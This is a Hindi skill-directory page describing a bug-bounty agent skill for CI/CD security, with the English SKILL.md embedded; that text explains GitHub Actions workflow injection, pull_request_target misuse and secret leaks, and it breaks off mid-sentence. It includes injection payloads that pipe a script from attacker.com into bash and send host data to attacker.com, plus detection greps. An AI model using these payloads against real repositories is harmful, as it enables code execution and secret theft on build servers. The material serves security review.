मुख्य सामग्री पर जाएँ
Skillpedia
सिक्योरिटी5.5k · #14785

cicd-security

यह क्या करती है

यह स्किल एजेंट को GitHub Actions जैसी CI/CD पाइपलाइन में सुरक्षा कमज़ोरियाँ खोजना सिखाती है। यह बताती है कि किस चीज़ की स्कैनिंग करनी है और कमज़ोरी इस्तेमाल हो सकती है या नहीं, यह कैसे पक्का करें।

कब इस्तेमाल करें

  • ✓जब लक्ष्य के सार्वजनिक रिपॉज़िटरी में GitHub Actions या दूसरी CI पाइपलाइन चलती हों।
  • ✓जब सुरक्षा समीक्षक जाँचना चाहता है कि वर्कफ़्लो इनपुट अनपेक्षित कमांड चला सकते हैं या नहीं।
  • ✓जब समीक्षक बिल्ड पाइपलाइन में बिना पिन किए actions या असुरक्षित secret प्रबंधन जाँचना चाहता है।

Skill का लिंक

https://github.com/awarexone/Agentic-Bug-Hunter/blob/main/skills/cicd-security/SKILL.md

इसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।

कैसे इस्तेमाल करें

सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।

पेस्ट करने के लिए तैयार मैसेज

इस skill से मेरी मदद करो: https://github.com/awarexone/Agentic-Bug-Hunter/blob/main/skills/cicd-security/SKILL.md इस लिंक की SKILL.md फ़ाइल पढ़ो और मेरे काम में उसके निर्देशों का पालन करो।
क्या आप चाहते हैं कि आपका AI ऐसी skills खुद ढूँढे?मुफ़्त Skillpedia MCP इंस्टॉल करें: बस एक लाइन, और हर काम से पहले यह 15,000+ skills में खोजता है।1 मिनट में इंस्टॉल करें →

AI से क्या माँगें: उदाहरण

“इस GitHub रिपो के वर्कफ़्लो में script injection और secrets के असुरक्षित उपयोग की जाँच कीजिए।”

हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।

यह कैसे काम करती है

एजेंट रिपो के वर्कफ़्लो पर स्कैनर चलाता है, फिर ज्ञात जोखिम भरे पैटर्न के लिए वर्कफ़्लो फ़ाइलें हाथ से देखता है। किसी भी खोज की रिपोर्ट करने से पहले वह उसकी पुष्टि करता है।

तकनीकी सामग्री (मूल SKILL.md)

लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।

CI/CD SECURITY — Pipeline Attack Surface

CI/CD pipelines are high-value targets — a single workflow injection can give you code execution on the build server, read ALL org secrets, and push backdoored releases to production.


0. QUICK KILL CHECKLIST

[ ] Run cicd_scanner.sh <owner/repo> — catch low-hanging workflow lint issues
[ ] Check for script injection: ${{ github.event.*.body/title/name }}
[ ] Find secrets referenced in env: — test if they leak in logs
[ ] Check pull_request_target with checkout of untrusted code
[ ] Look for self-hosted runners on public repos
[ ] Search for OIDC token requests without audience restriction
[ ] Check for unpinned actions (uses: owner/action@main)
[ ] Look for workflow_dispatch with no input validation
[ ] Find artifact downloads without integrity checks
[ ] Search for GITHUB_TOKEN with write permission used insecurely

1. TOOL — cicd_scanner.sh

# Single repo
bash bughunter/tools/cicd_scanner.sh owner/repo

# Org-wide (up to 30 repos)
bash bughunter/tools/cicd_scanner.sh "org:orgname" --limit 50 --parallel 5

# Scan with recursive reusable workflow analysis
bash bughunter/tools/cicd_scanner.sh owner/repo --recursive --depth 5

# Custom output
bash bughunter/tools/cicd_scanner.sh owner/repo --output-dir ./findings/target/cicd

Output: findings/<target>/cicd/scan_results.txt + summary.txt

What sisakulint finds:

  • Script injection via untrusted context
  • Unpinned actions (tag instead of SHA)
  • pull_request_target misuse
  • Dangerous patterns (eval, curl | bash, etc.)
  • Exposed secret names in run: blocks

2. WORKFLOW INJECTION (Critical — Most Common Paid Bug)

What It Is

GitHub Actions exposes PR/issue data as context variables. If injected into a run: block without sanitization, an attacker controls shell code.

Vulnerable Pattern

# VULNERABLE — attacker controls pr.title
- name: Print PR title
  run: echo "Title: ${{ github.event.pull_request.title }}"
  # Attacker PR title: "; curl attacker.com/shell.sh | bash #"

Safe Pattern

# SAFE — pass through env var, never interpolate directly
- name: Print PR title
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: echo "Title: $PR_TITLE"

Injectable Contexts (always check these)

github.event.pull_request.title
github.event.pull_request.body
github.event.pull_request.head.ref        ← branch names
github.event.issue.title
github.event.issue.body
github.event.comment.body
github.event.review.body
github.event.review_comment.body
github.event.discussion.title
github.event.discussion.body
github.head_ref                            ← alias for branch name
github.event.inputs.*                      ← workflow_dispatch inputs

PoC Payload

# PR title / issue title payload:
"; wget -q -O- attacker.com/$(cat /etc/hostname | base64) #

Detection Grep

# Find injectable patterns in .github/workflows/
grep -rn '\${{.*github\.event\.\(pull_request\|issue\|comment\|review\|discussion\)' .github/workflows/
grep -rn '\${{.*github\.head_ref' .github/workflows/
grep -rn '\${{.*github\.event\.inputs' .github/workflows/

3. pull_request_target MISUSE (Critical)

What It Is

pull_request_target runs in the context of the BASE repo (has secrets) but can be tricked into checking out and running attacker code.

Vulnerable Pattern

on: pull_request_target

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # ← attacker code!
      - run: npm test  # runs attacker's package.json scripts

Why It's Critical

  • pull_request_target has access to secrets
  • Checkout uses the PR's code
  • Any run: step executes attacker-controlled code with access to all org secrets

Detection

grep -rn 'pull_request_target' .github/workflows/
# Then check if the same job does a checkout of the PR head
grep -A 20 'pull_request_target' .github/workflows/*.yml | grep -E '(head\.sha|head_ref|checkout)'

4. SECRET EXFILTRATION

Secrets That Appear in Logs

# Search for secrets echoed in run: blocks
grep -rn 'echo.*secrets\.' .github/workflows/
grep -rn 'cat.*secrets\.' .github/workflows/
grep -rn 'env.*secrets\.' .github/workflows/ | grep -v '^#'

GITHUB_TOKEN Abuse

The auto-generated GITHUB_TOKEN can be used to:

  • Push code to branches
  • Create re
अक्सर पूछे जाने वाले सवाल

कौन-से CI सिस्टम का नाम लिया गया है?

स्किल GitHub Actions, CircleCI, Jenkins और GitLab CI का नाम लेती है।

यहाँ script injection क्या है?

जब अविश्वसनीय टेक्स्ट, जैसे पुल रिक्वेस्ट का शीर्षक, वर्कफ़्लो कमांड में डाल दिया जाए।

क्या यह खोजों को आपस में जोड़ती है?

हाँ। स्किल कई CI/CD कमज़ोरियों को जोड़कर एक ज़्यादा प्रभाव वाली खोज बनाने को कवर करती है।

जानकारी

लेखक का मूल विवरण

CI/CD pipeline security hunting — GitHub Actions workflow injection, secret exfiltration, self-hosted runner poisoning, dependency confusion, OIDC token theft, and supply chain attacks. Covers sisakulint scanning, manual workflow analysis, and chaining CI/CD bugs into critical findings. Use when a target has public repos, GitHub Actions, CircleCI, Jenkins, or GitLab CI.

repo: awarexone/Agentic-Bug-Hunter

लोकप्रियता

GitHub स्टार
5.5k
रैंकिंग में स्थान
#14785
लाइसेंस
MIT
अपडेट की गई
28/10/2026

क्या यह skill काम की है?

0

लॉग इन करें वोट करने के लिए।

कमेंट

  • …

इस repository की और skills

bug-bounty

5.5k

आपके एजेंट को बग बाउंटी समीक्षा चरणों में योजना बनाने में मदद करती है, प्रोग्राम का दायरा जाँचने और संपत्तियाँ मैप करने से लेकर प्रभाव सत्यापित करने और रिपोर्ट लिखने तक।

कोडिंगसिक्योरिटी

agentic-app-audit

5.5k

आपके एजेंट को लाइव AI असिस्टेंट की बाहर से समीक्षा करने देती है, हाइजैक्ड टूल कॉल, दूषित मेमोरी और उपयोगकर्ता से अधिक पहुँच वाली कार्रवाइयों जैसे जोखिमों के लिए।

कोडिंगसिक्योरिटी

argus

5.5k

आपके एजेंट को वेब और AI ऐप की आम खामियों के लिए छह स्वचालित स्कैनर चलाने देती है, जैसे खुला cross-origin एक्सेस, JWT कमज़ोरियाँ और out-of-band में पुष्ट अंधी बग।

कोडिंगसिक्योरिटी

bb-methodology

5.5k

आपके एजेंट को बग बाउंटी सत्र चरणों में योजना बनाने देती है, अगला कदम और सही जाँच चुनते हुए, और ऐसे विचार छोड़ते हुए जो असली नुकसान नहीं कर सकते।

कोडिंगसिक्योरिटी

मिलती-जुलती skills